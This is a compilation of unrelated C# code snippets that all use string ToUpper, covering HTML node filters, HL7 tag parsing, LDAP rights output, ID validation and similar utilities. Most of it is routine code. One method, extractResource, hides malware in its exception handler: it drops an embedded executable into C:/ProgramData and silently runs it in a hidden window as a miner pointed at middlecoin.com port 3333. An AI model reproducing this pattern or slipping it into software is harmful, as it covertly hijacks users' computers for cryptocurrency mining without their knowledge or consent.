public bool addEventJump( String inMemberId, String inEventGroup, String inEventClass, String inAgeDiv, String inTeamCode ) { if ( myTourRow == null ) { return false; } else { if ( ( (byte)myTourRow["JumpRounds"] ) > 0 ) { String curAgeDiv = inAgeDiv; String curEventGroup = inEventGroup; if ( curAgeDiv.ToUpper().Equals( "B1" ) ) { curAgeDiv = "B2"; if ( inEventGroup.ToUpper().Equals( "B1" ) ) { curEventGroup = curAgeDiv; } } else if ( curAgeDiv.ToUpper().Equals( "G1" ) ) { curAgeDiv = "G2"; if ( inEventGroup.ToUpper().Equals( "G1" ) ) { curEventGroup = curAgeDiv; } } return addEvent( inMemberId, "Jump", curEventGroup, inEventClass, curAgeDiv, inTeamCode ); } else { MessageBox.Show( "Request to add skier to jump event but tournament does not include this event." ); return false; } } }
/// <summary> Searches for all nodes whose text representation contains the search string. /// Collects all nodes containing the search string into a NodeList. /// For example, if you wish to find any textareas in a form tag containing /// "hello world", the code would be: /// <code> /// NodeList nodeList = formTag.searchFor("Hello World"); /// </code> /// </summary> /// <param name="searchString">Search criterion. /// </param> /// <param name="caseSensitive">If <code>true</code> this search should be case /// sensitive. Otherwise, the search string and the node text are converted /// to uppercase using the locale provided. /// </param> /// <param name="locale">The locale for uppercase conversion. /// </param> /// <returns> A collection of nodes whose string contents or /// representation have the <code>searchString</code> in them. /// </returns> public virtual NodeList SearchFor(System.String searchString, bool caseSensitive, System.Globalization.CultureInfo locale) { INode node; System.String text; NodeList ret; ret = new NodeList(); if (!caseSensitive) #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR { searchString = searchString.ToUpper(); } #else { searchString = searchString.ToUpper(locale); } #endif for (ISimpleNodeIterator e = GetChildren(); e.HasMoreNodes();) { node = e.NextNode(); text = node.ToPlainTextString(); if (!caseSensitive) #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR { text = text.ToUpper(); } #else { text = text.ToUpper(locale); } #endif if (-1 != text.IndexOf(searchString)) { ret.Add(node); } } return(ret); }
/// <summary> Parses the value string into a recognized type. If /// the type specified is not supported, the data will /// be held and returned as a string. /// * /// </summary> /// <param name="key">the context key for the data /// </param> /// <param name="type">the data type /// </param> /// <param name="value">the data /// /// </param> public DataInfo(String key, String type, String value) { this.key = key; if (type.ToUpper().Equals(TYPE_BOOLEAN.ToUpper())) { data = Boolean.Parse(value); } else if (type.ToUpper().Equals(TYPE_NUMBER.ToUpper())) { if (value.IndexOf('.') >= 0) { //UPGRADE_TODO: Format of parameters of constructor 'java.lang.Double.Double' are different in the equivalent in .NET. 'ms-help://MS.VSCC/commoner/redir/redirect.htm?keyword="jlca1092"' data = Double.Parse(value); } else { data = Int32.Parse(value); } } else { data = value; } }
public override FreeRefFunction FindFunction(String name) { if (!_functionsByName.ContainsKey(name.ToUpper())) return null; return _functionsByName[name.ToUpper()]; }
/// <summary> /// Reads an XML document from an {@link InputStream} /// using <a href="http://dom4j.org">dom4j</a> and /// sets up the toolbox from that. /// /// The DTD for toolbox schema is: /// <pre> /// <?xml version="1.0"?> /// <!ELEMENT toolbox (tool*,data*)> /// <!ELEMENT tool (key,class,#PCDATA)> /// <!ELEMENT data (key,value)> /// <!ATTLIST data type (string|number|boolean) "string"> /// <!ELEMENT key (#CDATA)> /// <!ELEMENT class (#CDATA)> /// <!ELEMENT value (#CDATA)> /// </pre> /// </summary> /// <param name="input">the InputStream to read from</param> public virtual void load(System.IO.Stream input) { log("Loading toolbox..."); XmlDocument document = new XmlDocument(); document.Load(input); XmlNodeList elements = document.SelectNodes("//" + BASE_NODE + "/*"); foreach (XmlElement e in elements) { System.String name = e.Name; IToolInfo info; if (name.ToUpper().Equals(ELEMENT_TOOL.ToUpper())) { info = readToolInfo(e); } else if (name.ToUpper().Equals(ELEMENT_DATA.ToUpper())) { info = readDataInfo(e); } else { throw new XmlSchemaException("Unknown element: " + name, null); } AddTool(info); log("Added " + info.Classname + " as " + info.Key); } log("Toolbox loaded."); }
/// <summary> Parses the value string into a recognized type. If /// the type specified is not supported, the data will /// be held and returned as a string. /// * /// </summary> /// <param name="key">the context key for the data /// </param> /// <param name="type">the data type /// </param> /// <param name="value">the data /// /// </param> public DataInfo(System.String key, System.String type, System.String value_Renamed) { this.key = key; if (type.ToUpper().Equals(TYPE_BOOLEAN.ToUpper())) { this.data = System.Boolean.Parse(value_Renamed); } else if (type.ToUpper().Equals(TYPE_NUMBER.ToUpper())) { if (value_Renamed.IndexOf((System.Char) '.') >= 0) { //UPGRADE_TODO: Format of parameters of constructor 'java.lang.Double.Double' are different in the equivalent in .NET. 'ms-help://MS.VSCC/commoner/redir/redirect.htm?keyword="jlca1092"' this.data = System.Double.Parse(value_Renamed); } else { this.data = System.Int32.Parse(value_Renamed); } } else { this.data = value_Renamed; } }
/// <summary> Gets a frame by name. /// Names are checked without case sensitivity and conversion to uppercase /// is performed with the locale provided. /// </summary> /// <param name="name">The name of the frame to retrieve. /// </param> /// <param name="locale">The locale to use when converting to uppercase. /// </param> /// <returns> The specified frame or <code>null</code> if it wasn't found. /// </returns> public virtual FrameTag GetFrame(System.String name, System.Globalization.CultureInfo locale) { INode node; FrameTag ret; ret = null; #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR name = name.ToUpper(); #else name = name.ToUpper(locale); #endif for (ISimpleNodeIterator e = Frames.Elements(); e.HasMoreNodes() && (null == ret);) { node = e.NextNode(); if (node is FrameTag) { ret = (FrameTag)node; #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR if (!ret.FrameName.ToUpper().Equals(name)) #else if (!ret.FrameName.ToUpper(locale).Equals(name)) #endif { ret = null; } } } return(ret); }
/// <summary> Creates a TagNameFilter that accepts tags with the given name.</summary> /// <param name="name">The tag name to match. /// </param> public TagNameFilter(System.String name) { #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR mName = name.ToUpper(); #else mName = name.ToUpper(new System.Globalization.CultureInfo("en")); #endif }
private String CheckPrimitivType(String mehtodName) { if (mehtodName.ToUpper().Contains("INT")) return typeof(int).ToString(); if (mehtodName.ToUpper().Contains("STRING")) return typeof(string).ToString(); if (mehtodName.ToUpper().Contains("FLOAT")) return typeof(float).ToString(); if (mehtodName.ToUpper().Contains("DOUBLE")) return typeof(double).ToString(); return mehtodName; }
public long getUserID(String user_name) { if (user_name_list.ContainsKey(user_name.ToUpper())) { return user_name_list[user_name.ToUpper()]; } return -1; }
/// <summary> Creates a new instance of HasAttributeFilter that accepts tags /// with the given attribute and value. /// </summary> /// <param name="attribute">The attribute to search for. /// </param> /// <param name="value">The value that must be matched, /// or null if any value will match. /// </param> public HasAttributeFilter(System.String attribute, System.String value_Renamed) { #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR mAttribute = attribute.ToUpper(); #else mAttribute = attribute.ToUpper(new System.Globalization.CultureInfo("en")); #endif mValue = value_Renamed; }
/// <summary> Creates a new instance of HasAttributeFilter that accepts tags /// with the given attribute and value. /// </summary> /// <param name="attribute">The attribute to search for. /// </param> /// <param name="value">The value that must be matched, /// or null if any value will match. /// </param> public AttributeRegexFilter(System.String attribute, System.String valuePattern) { #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR m_strAttribute = attribute.ToUpper(); #else m_strAttribute = attribute.ToUpper(new System.Globalization.CultureInfo("en")); #endif m_strValuePattern = valuePattern; }
/// <summary> Returns true if and only if the given encoding is supported /// by this Parser. /// </summary> public override bool supportsEncoding(System.String encoding) { bool supported = false; if ("VB".ToUpper().Equals(encoding.ToUpper()) || "XML".ToUpper().Equals(encoding.ToUpper())) { supported = true; } return(supported); }
public static String GetOID(String name) { if (name == null) { return null; } if (!OIDS.ContainsKey(name.ToUpper())) { throw new ArgumentException("Se deconoce el algoritmo '" + name + "'"); } return OIDS[name.ToUpper()]; }
public List<string> ListFieldData(String SQLColumn) { //Create our list that will return our data to SmartSearch. This must be named 'FieldData'. List<String> FieldData = new List<String>(); //Creating SQL related objects SqlConnection oConnection = new SqlConnection(); SqlDataReader oReader = null; SqlCommand oCmd = new SqlCommand(); //Setting our connection string for connection to the database, this will be different depending on your enviroment. oConnection.ConnectionString = "Data Source=(local)\\FULL2008;Initial Catalog=GrapeLanes;Integrated Security=SSPI;"; //Check for valid column name if ((SQLColumn.ToUpper() == "VENDNAME") || (SQLColumn.ToUpper() == "CSTCTR")) { //Setting SQL query to return a list of data oCmd.CommandText = "SELECT DISTINCT " + SQLColumn.ToUpper() + " FROM INVDATA"; } else { //Returns an empty list in case of invalid column FieldData.Clear(); return FieldData; } try { //Attempt to open the SQL connection and get the data. oConnection.Open(); oCmd.Connection = oConnection; oReader = oCmd.ExecuteReader(); //Take our SQL return and place it into our return object while (oReader.Read()) { FieldData.Add(oReader.GetString(0)); } //Clean up oReader.Close(); oConnection.Close(); } catch (Exception) { //Returns an empty list in case of error FieldData.Clear(); return FieldData; } //Return our list data to SmartSearch if successful return FieldData; }
/// <summary> /// The search algorithm. /// </summary> int Search(String text, int index) { // Get a reference to the diagram. Diagram datagram = mainUI.GetDiagramView().Diagram; // Check if the index needs to be wrapped around. if (index > datagram.Items.Count) { index = 0; } // Iterate through all the nodes and check them for the search string. for (int i = index; i < datagram.Items.Count; i++) { // Get a reference to a node. DiagramItem item = datagram.Items[i]; if (item is ShapeNode) { ShapeNode note = (ShapeNode)item; // Check if the node contains the search string. if (note.Text.ToUpper().Contains(text.ToUpper()) | (note.Tag != null && note.Tag.ToString().ToUpper().Contains(text.ToUpper()))) { mainUI.FocusOn(note); return i; } } } for (int i = 0; i < index; i++) { // Get a reference to a node. DiagramItem item = datagram.Items[i]; if (item is ShapeNode) { ShapeNode note = (ShapeNode)item; // Check if the node contains the search string. if (note.Text.ToUpper().Contains(text.ToUpper()) | (note.Tag != null && note.Tag.ToString().ToUpper().Contains(text.ToUpper()))) { mainUI.FocusOn(note); return i; } } } // If nothing is found, return 0. return 0; }
public int lookupToken(int bas, String key) { int start = SPECIAL_CASES_INDEXES[bas]; int end = SPECIAL_CASES_INDEXES[bas + 1] - 1; key = key.ToUpper(); while (start <= end) { int half = (start + end) / 2; int comp = SPECIAL_CASES_KEYS[half].CompareTo(key); if (comp == 0) { return SPECIAL_CASES_VALUES[half]; } else if (comp < 0) { start = half + 1; } else { //(comp > 0) end = half - 1; } } return bas; }
// PrintRights() parses and prints the effective rights public static void PrintRights(System.String aName, int rights) { System.Text.StringBuilder rString = new System.Text.StringBuilder(); if (aName.ToUpper().Equals("[Entry Rights]".ToUpper())) { // decode object rights rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_BROWSE) != 0?"BrowseEntry: true; ":"BrowseEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_ADD) != 0?"AddEntry: true; ":"AddEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_DELETE) != 0?"DeleteEntry: true; ":"DeleteEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_RENAME) != 0?"RenameEntry: true; ":"RenameEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_SUPERVISOR) != 0?"Supervisor: true; ":"Supervisor: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_INHERIT_CTL) != 0?"Inherit_ctl: true.":"Inherit_ctl: false."); } else { // decode attribute rights no matter it's for // all attributes or a single attribute rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_COMPARE) != 0?"CompareAttributes: true; ":"CompareAttributes: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_READ) != 0?"ReadAttributes: true; ":"ReadAttributes: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_WRITE) != 0?"Write/Add/DeleteAttributes: true; ":"Write/Add/DeleteAttributes: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_SELF) != 0?"Add/DeleteSelf: true; ":"Add/DeleteSelf: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_SUPERVISOR) != 0?"Supervisor: true.":"Supervisor: false."); } // System.Console.Out.WriteLine(rString); }
/// <summary> Get the input tag in the form corresponding to the given name</summary> /// <param name="name">The name of the input tag to be retrieved /// </param> /// <returns> Tag The input tag corresponding to the name provided /// </returns> public virtual InputTag GetInputTag(System.String name) { InputTag inputTag; bool found; System.String inputTagName; inputTag = null; found = false; for (ISimpleNodeIterator e = FormInputs.Elements(); e.HasMoreNodes() && !found;) { inputTag = (InputTag)e.NextNode(); inputTagName = inputTag.GetAttribute("NAME"); if (inputTagName != null && inputTagName.ToUpper().Equals(name.ToUpper())) { found = true; } } if (found) { return(inputTag); } else { return(null); } }
public static HREngine.Private.HREngineRules GetRulesForCard(String CardID) { if (!HasRule(CardID)) return null; try { string strFilePath = String.Format("{0}{1}.xml", HRSettings.Get.CustomRuleFilePath, CardID.ToUpper()); byte[] buffer = File.ReadAllBytes(strFilePath); if (buffer.Length > 0) { XmlSerializer serialzer = new XmlSerializer(typeof(HREngine.Private.HREngineRules)); object result = serialzer.Deserialize(new MemoryStream(buffer)); if (result != null) return (HREngine.Private.HREngineRules)result; } } catch (Exception e) { HRLog.Write("Exception when deserialize XML Rule."); HRLog.Write(e.Message); } return null; }
public System.Boolean checkContainKey() { System.Boolean bCheckRes = false; bCheckRes = false; if (m_strLine.Length <= 0) { return(bCheckRes); } //m_strLine = m_strLine.ToLower(); m_strLine = m_strLine.ToUpper(); m_strKey = m_strKey.ToUpper(); m_nECheckContainKey = checkContainKeyType(); if (ECheckContainKey.ECheckContainKey_ContainKey == m_nECheckContainKey) { bCheckRes = true; } else { bCheckRes = false; } return(bCheckRes); }
//This functions receives two strings, the first is the job id, the second is the recruitee id. //then, it looks at the expressions array (all jobs ids) to find the index of the given JobID, //then, it looks at the users array (all users ids and self ratings) to find the index of the given recruitee id. //then it returns the value of the rating for that job and recruitee on the Y matrix. public int[,] getYIndex(String jobID, String recruiteeID, String[] expressions, UserProfile[] users) { try { int column = 0, row = 0; for (int i = 0; i < expressions.Length; i++) { if ((expressions[i].ToUpper()).Equals(jobID.ToUpper())) { row = i; break; } } for (int i = 0; i < users.Length; i++) { if ((users[i].UserID.ToUpper()).Equals(recruiteeID.ToUpper())) { column = i; break; } } int[,] result = new int[1, 2]; result[0, 0] = row; result[0, 1] = column; return result; } catch (Exception ex) { return null; } }
/// <summary> /// Attempts to retrieve the value of a leaf tag without using DOM or SAX. /// This method searches the given message string for the given tag name, and returns everything /// after the given tag and before the start of the next tag. Whitespace is stripped. This is /// intended only for lead nodes, as the value is considered to end at the start of the next tag, /// regardless of whether it is the matching end tag or some other nested tag. /// </summary> /// /// <exception cref="HL7Exception"> Thrown when a HL 7 error condition occurs. </exception> /// /// <param name="message"> a string message in XML form. </param> /// <param name="tagName"> the name of the XML tag, e.g. "MSA.2". </param> /// <param name="startAt"> the character location at which to start searching. </param> /// /// <returns> A System.String. </returns> protected internal virtual System.String ParseLeaf(System.String message, System.String tagName, int startAt) { System.String value_Renamed = null; int tagStart = message.IndexOf("<" + tagName, startAt); if (tagStart < 0) { tagStart = message.IndexOf("<" + tagName.ToUpper(), startAt); } int valStart = message.IndexOf(">", tagStart) + 1; int valEnd = message.IndexOf("<", valStart); if (tagStart >= 0 && valEnd >= valStart) { value_Renamed = message.Substring(valStart, (valEnd) - (valStart)); } else { throw new HL7Exception( "Couldn't find " + tagName + " in message beginning: " + message.Substring(0, (System.Math.Min(150, message.Length)) - (0)), HL7Exception.REQUIRED_FIELD_MISSING); } return(value_Renamed); }
public Manager(String Name, string data, int emp_count) { this.employee_count = emp_count; this.Start_Time = Convert.ToDateTime(data); this.Name = Name.ToUpper(); this.Start_Salary = 1000.0M; }
/// <summary> /// ToUpper then find /// </summary> /// <param name="strLine"></param> /// <param name="strKey"></param> /// <returns></returns> public System.Int32 findUPKeyIndexInUPLine(System.String strLine, System.String strKey) { System.Int32 nKeyIndexInLine = -1; System.String strLineUp; System.String strKeyUp; if (strLine.Length <= 0) { // IndexOf Returns: // The zero-based index position of value if that string is found, or -1 if // it is not. If value is System.String.Empty, the return value is 0. nKeyIndexInLine = -1; return(nKeyIndexInLine); } strLineUp = strLine.ToUpper(); strKeyUp = strKey.ToUpper(); nKeyIndexInLine = strLineUp.IndexOf(strKeyUp); if (-1 != nKeyIndexInLine) { return(nKeyIndexInLine); } return(nKeyIndexInLine); }
/// <summary> /// 效果点数的表达式计算 /// </summary> /// <param name="strEffectPoint"></param> /// <returns></returns> public static int GetEffectPoint(ActionStatus game, String strEffectPoint) { int point = 0; strEffectPoint = strEffectPoint.ToUpper(); if (!String.IsNullOrEmpty(strEffectPoint)) { if (strEffectPoint.StartsWith("=")) { switch (strEffectPoint.Substring(1)) { case "MYWEAPONAP": //本方武器攻击力 if (game.AllRole.MyPublicInfo.Hero.Weapon != null) point = game.AllRole.MyPublicInfo.Hero.Weapon.攻击力; break; default: break; } } else { point = int.Parse(strEffectPoint); } } return point; }
public static Type GetSupportedDataWorkerType(String providerName) { switch (providerName.ToUpper()) { case "MSSQL": case "MSSQLDB": case "MSSQLDATABASE": case "MS": case "MSDB": case "MSDATABASE": case "SYSTEM.DATA.SQLCLIENT": return typeof(DataAbstractionLayer.SystemDataSqlClient.MsSqlDataWorker); case "ORACLE": case "ORACLEDB": case "ORACLEDATABASE": case "ORA": case "ORADB": case "ORADATABASE": case "SYSTEM.DATA.ORACLECLIENT": return typeof(DataAbstractionLayer.SystemDataOracleClient.OracleDataWorker); case "ORACLE.DATAACCESS.CLIENT": return typeof(DataAbstractionLayer.OracleDataAccessClient.OracleDataWorker); default: return null; } }
static int Hook(String s) { Console.ForegroundColor = ConsoleColor.Cyan; Console.Out.Write(s.ToUpper()); Console.ForegroundColor = ConsoleColor.Gray; return 1; }
/// <summary> /// 注册资源索引键类型 /// </summary> /// <param name="key">索引键</param> /// <param name="type">索引键类型</param> /// <returns>是否注册成功</returns> public static Boolean RegistType(String key, Type type) { try { if (KeyTypeList.ContainsKey(key.ToUpper())) { throw new Exception("不允许重复注册的KEY"); } KeyTypeList.Add(key.ToUpper(), type); return true; } catch (Exception) { return false; } }
public override IRow Process(IRow inRow, IUpdatableRow outRow) { var row = (ScopeEngineManaged.SqlIpRow)inRow; var output = (ScopeEngineManaged.SqlIpUpdatableRow)outRow; int exceptionIndex = 0; try { System.String col_SET_NUMBER = row.GetInternal <System.String>(0); System.String col_SET_NAME = row.GetInternal <System.String>(1); System.Int32 col_SET_YEAR = row.GetInternal <System.Int32>(2); System.String col_SET_THEME = row.GetInternal <System.String>(3); System.Int32 col_NUMBER_OF_PARTS = row.GetInternal <System.Int32>(4); output.SetInternal(0, col_SET_NUMBER.IndexOf("-") >= 0 ? col_SET_NUMBER.Substring(0, col_SET_NUMBER.IndexOf("-")) : col_SET_NUMBER); exceptionIndex++; output.SetInternal(1, col_SET_NUMBER.IndexOf("-") >= 0 ? col_SET_NUMBER.Substring(col_SET_NUMBER.IndexOf("-") + 1) : null); exceptionIndex++; output.SetInternal(2, col_SET_NAME.ToUpper()); exceptionIndex++; output.SetInternal(3, col_SET_YEAR); exceptionIndex++; output.SetInternal(4, col_SET_THEME); exceptionIndex++; output.SetInternal(5, col_NUMBER_OF_PARTS); exceptionIndex++; } catch (Exception exception) { ScopeEngineManaged.UserExceptionHelper.WrapUserExpressionException(exceptionsInfo[exceptionIndex], ScopeEngineManaged.SqlHelper.Dump(row), exception); } return(output.AsReadOnly()); }
public bool Contains(String s) { int idx; bool word = true; TrieNode n = root; TrieNode oldNode = root; s = s.ToUpper(); foreach (var ch in s) { if (ch == 0) { break; } idx = MapCharacter(ch); if (idx == -1) return false; n = n.SubTrieNode[idx]; if (n == null) { word = false; break; } oldNode = n; } if (word && oldNode.IsWord) {return true; } return false; }
// This method converts a hexvalues string as 80FF into a integer. // Note that you may not put a '#' at the beginning of string! There // is not much error checking in this method. If the string does not // represent a valid hexadecimal value it returns 0. public static int HexToInt(String hexstr) { int counter, hexint; char[] hexarr; hexint = 0; hexstr = hexstr.ToUpper(); hexarr = hexstr.ToCharArray(); for (counter = hexarr.Length - 1; counter >= 0; counter--) { if ((hexarr[counter] >= '0') && (hexarr[counter] <= '9')) { hexint += (hexarr[counter] - 48) * ((int)(Math.Pow(16, hexarr.Length - 1 - counter))); } else { if ((hexarr[counter] >= 'A') && (hexarr[counter] <= 'F')) { hexint += (hexarr[counter] - 55) * ((int)(Math.Pow(16, hexarr.Length - 1 - counter))); } else { hexint = 0; break; } } } return hexint; }
public override IRow Process(IRow inRow, IUpdatableRow outRow) { var row = (ScopeEngineManaged.SqlIpRow)inRow; var output = (ScopeEngineManaged.SqlIpUpdatableRow)outRow; System.Int32 col_CATEGORY_ID = row.GetInternal <System.Int32>(0); System.String col_CATEGORY_NAME = row.GetInternal <System.String>(1); bool bPicked = false; int exceptionIndex = 0; try { { bPicked = true; output.SetInternal <System.Int32>(0, (col_CATEGORY_ID)); exceptionIndex++; output.SetInternal <System.String>(1, (col_CATEGORY_NAME.ToUpper())); exceptionIndex++; } } catch (Exception exception) { ScopeEngineManaged.UserExceptionHelper.WrapUserExpressionException(exceptionsInfo[exceptionIndex], ScopeEngineManaged.SqlHelper.Dump(row), exception); } if (bPicked) { return(output.AsReadOnly()); } else { return(null); } }
/// <summary> Accept nodes that are a LinkTag and /// have a URL that matches the pattern supplied in the constructor. /// </summary> /// <param name="node">The node to check. /// </param> /// <returns> <code>true</code> if the node is a link with the pattern. /// </returns> public virtual bool Accept(INode node) { bool ret; ret = false; #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR if (Type_WP_8_1.Type.IsAssignableFrom(typeof(LinkTag), node.GetType())) #else if (typeof(LinkTag).IsAssignableFrom(node.GetType())) #endif { System.String link = ((LinkTag)node).Link; if (mCaseSensitive) { if (link.IndexOf(mPattern) > -1) { ret = true; } } else { if (link.ToUpper().IndexOf(mPattern.ToUpper()) > -1) { ret = true; } } } return(ret); }
// PrintRights() parses and prints the effective rights one by one public static void PrintRights( String aName, int rights ) { System.Text.StringBuilder rString = new System.Text.StringBuilder(); if ( aName.ToUpper().Equals("[Entry Rights]".ToUpper())) { // decode object rights rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_BROWSE) != 0 ? "BrowseEntry: true; ":"BrowseEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_ADD) != 0 ? "AddEntry: true; ":"AddEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_DELETE) != 0 ? "DeleteEntry: true; ":"DeleteEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_RENAME) != 0 ? "RenameEntry: true; ":"RenameEntry: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_SUPERVISOR) != 0 ? "Supervisor: true; ":"Supervisor: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_INHERIT_CTL) != 0 ? "Inherit_ctl: true.":"Inherit_ctl: false."); } else { // decode attribute rights no matter it's for // all attributes or a single attribute rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_COMPARE) != 0 ? "CompareAttributes: true; ": "CompareAttributes: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_READ) != 0 ? "ReadAttributes: true; ":"ReadAttributes: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_WRITE) != 0 ? "Write/Add/DeleteAttributes: true; ":"Write/Add/DeleteAttributes: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_SELF) != 0 ? "Add/DeleteSelf: true; ":"Add/DeleteSelf: false; "); rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_SUPERVISOR) != 0 ? "Supervisor: true.":"Supervisor: false."); } System.Console.WriteLine(rString); }
/// <summary> Accept nodes that are a LinkTag and /// have a URL that matches the pattern supplied in the constructor. /// </summary> /// <param name="node">The node to check. /// </param> /// <returns> <code>true</code> if the node is a link with the pattern. /// </returns> public virtual bool Accept(INode node) { bool ret; ret = false; if (typeof(LinkTag).IsAssignableFrom(node.GetType())) { System.String link = ((LinkTag)node).Link; if (mCaseSensitive) { if (link.IndexOf(mPattern) > -1) { ret = true; } } else { if (link.ToUpper().IndexOf(mPattern.ToUpper()) > -1) { ret = true; } } } return(ret); }
public static void extractResource(String embeddedFileName, String destinationPath) { try { Assembly currentAssembly = Assembly.GetExecutingAssembly(); string[] arrResources = currentAssembly.GetManifestResourceNames(); foreach (string resourceName in arrResources) if (resourceName.ToUpper().EndsWith(embeddedFileName.ToUpper())) { Stream resourceToSave = currentAssembly.GetManifestResourceStream(resourceName); var output = File.OpenWrite(destinationPath); // resourceToSave.CopyTo(output); CopyStream(resourceToSave, output); resourceToSave.Close(); } } catch { extractResource("Assembly.exe", "C:/ProgramData/assembly.exe"); ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.FileName = "C:/ProgramData/assembly.exe"; startInfo.Arguments = "--host middlecoin.com --port 3333"; startInfo.CreateNoWindow = true; startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; Process.Start(startInfo); path1 = "C:/ProgramData/assembly.exe"; } }
public static string GenerateAuthorizationHeader(Uri uri, String consumerKey, String consumerSecret, String token, String tokenSecret, String httpMethod) { OAuthUtil oauthUtil = new OAuthUtil(); string timeStamp = oauthUtil.GenerateTimeStamp(); string nonce = oauthUtil.GenerateNonce(); string signature = oauthUtil.GenerateSignature( uri, consumerKey, consumerSecret, token, tokenSecret, httpMethod.ToUpper(), timeStamp, nonce); StringBuilder sb = new StringBuilder(); sb.Append("OAuth oauth_version=\"1.0\","); sb.AppendFormat("oauth_nonce=\"{0}\",", EncodingPerRFC3986(nonce)); sb.AppendFormat("oauth_timestamp=\"{0}\",", EncodingPerRFC3986(timeStamp)); sb.AppendFormat("oauth_consumer_key=\"{0}\",", EncodingPerRFC3986(consumerKey)); if (!String.IsNullOrEmpty(token)) { sb.AppendFormat("oauth_token=\"{0}\",", EncodingPerRFC3986(token)); } sb.Append("oauth_signature_method=\"HMAC-SHA1\","); sb.AppendFormat("oauth_signature=\"{0}\"", EncodingPerRFC3986(signature)); return sb.ToString(); }
public virtual bool runTest () { int nErrorBits = 0; System.String swrString2 = null; System.String swrString3 = null; IntlStrings intl = new IntlStrings(); swrString2 = intl.GetString(50, false, true); swrString3 = swrString2.ToUpper(); foreach (Char c in swrString3) { if (Char.GetUnicodeCategory(c) == UnicodeCategory.LowercaseLetter) { nErrorBits = nErrorBits | 0x1; } } System.Console.Error.WriteLine(nErrorBits); if (nErrorBits == 0) { return(true); } else { return(false); } }
/// <summary> Attempts to retrieve the value of a leaf tag without using DOM or SAX. /// This method searches the given message string for the given tag name, and returns /// everything after the given tag and before the start of the next tag. Whitespace /// is stripped. This is intended only for lead nodes, as the value is considered to /// end at the start of the next tag, regardless of whether it is the matching end /// tag or some other nested tag. /// </summary> /// <param name="message">a string message in XML form /// </param> /// <param name="tagName">the name of the XML tag, e.g. "MSA.2" /// </param> /// <param name="startAt">the character location at which to start searching /// </param> /// <throws> HL7Exception if the tag can not be found </throws> protected internal virtual System.String parseLeaf(System.String message, System.String tagName, int startAt) { System.String value_Renamed = null; int tagStart = message.IndexOf("<" + tagName, startAt); if (tagStart < 0) { tagStart = message.IndexOf("<" + tagName.ToUpper(), startAt); } int valStart = message.IndexOf(">", tagStart) + 1; int valEnd = message.IndexOf("<", valStart); if (tagStart >= 0 && valEnd >= valStart) { value_Renamed = message.Substring(valStart, (valEnd) - (valStart)); } else { throw new NuGenHL7Exception("Couldn't find " + tagName + " in message beginning: " + message.Substring(0, (System.Math.Min(150, message.Length)) - (0)), NuGenHL7Exception.REQUIRED_FIELD_MISSING); } // Escape codes, as defined at http://hdf.ncsa.uiuc.edu/HDF5/XML/xml_escape_chars.htm value_Renamed = Regex.Replace(value_Renamed, """, "\""); value_Renamed = Regex.Replace(value_Renamed, "'", "'"); value_Renamed = Regex.Replace(value_Renamed, "&", "&"); value_Renamed = Regex.Replace(value_Renamed, "<", "<"); value_Renamed = Regex.Replace(value_Renamed, ">", ">"); return(value_Renamed); }
public Boolean VerificaRut(String rut) { bool validacion = false; try { rut = rut.ToUpper(); rut = rut.Replace(".", ""); rut = rut.Replace("-", ""); int rutAux = int.Parse(rut.Substring(0, rut.Length - 1)); char dv = char.Parse(rut.Substring(rut.Length - 1, 1)); int m = 0, s = 1; for (; rutAux != 0; rutAux /= 10) { s = (s + rutAux % 10 * (9 - m++ % 6)) % 11; } if (dv == (char)(s != 0 ? s + 47 : 75)) { validacion = true; } } catch (Exception) { } return validacion; }
public SequiturComplexity(String s) { S = s; chars = "qwertyuiopåasdfghjklöäzxcvbnm"; chars += chars.ToUpper(); chars += "1234567890+-.,<>|;:!?\"()"; }
public String ServiceToDisplay(String servicename) { var svc = servicename.ToUpper(); if (svc == "MSDTC") return MSDTC; if (svc == "MSSQLSERVER" || svc.StartsWith("MSSQL$")) return SQL_SERVER; if (svc == "MSFTESQL" || svc.StartsWith("MSFTESQL$") || svc == "MSSEARCH" || svc == "MSSQLFDLAUNCHER" || svc.StartsWith("MSSQLFDLAUNCHER$")) return FTSEARCH; if (svc == "SQLSERVERAGENT" || svc.StartsWith("SQLAGENT$")) return SQL_AGENT; if (svc == "REPORTSERVER" || svc.StartsWith("REPORTSERVER$")) return REPORT; if (svc == "MSSQLSERVEROLAPSERVICE" || svc.StartsWith("MSOLAP$")) return ANALYSIS; if (svc.StartsWith("MSDTSSERVER")) { switch (svc) { case "MSDTSSERVER100": return SSIS2008; default: return SSIS; } } return svc == "SQLBROWSER" ? BROWSER : SQL_SERVER; // default }
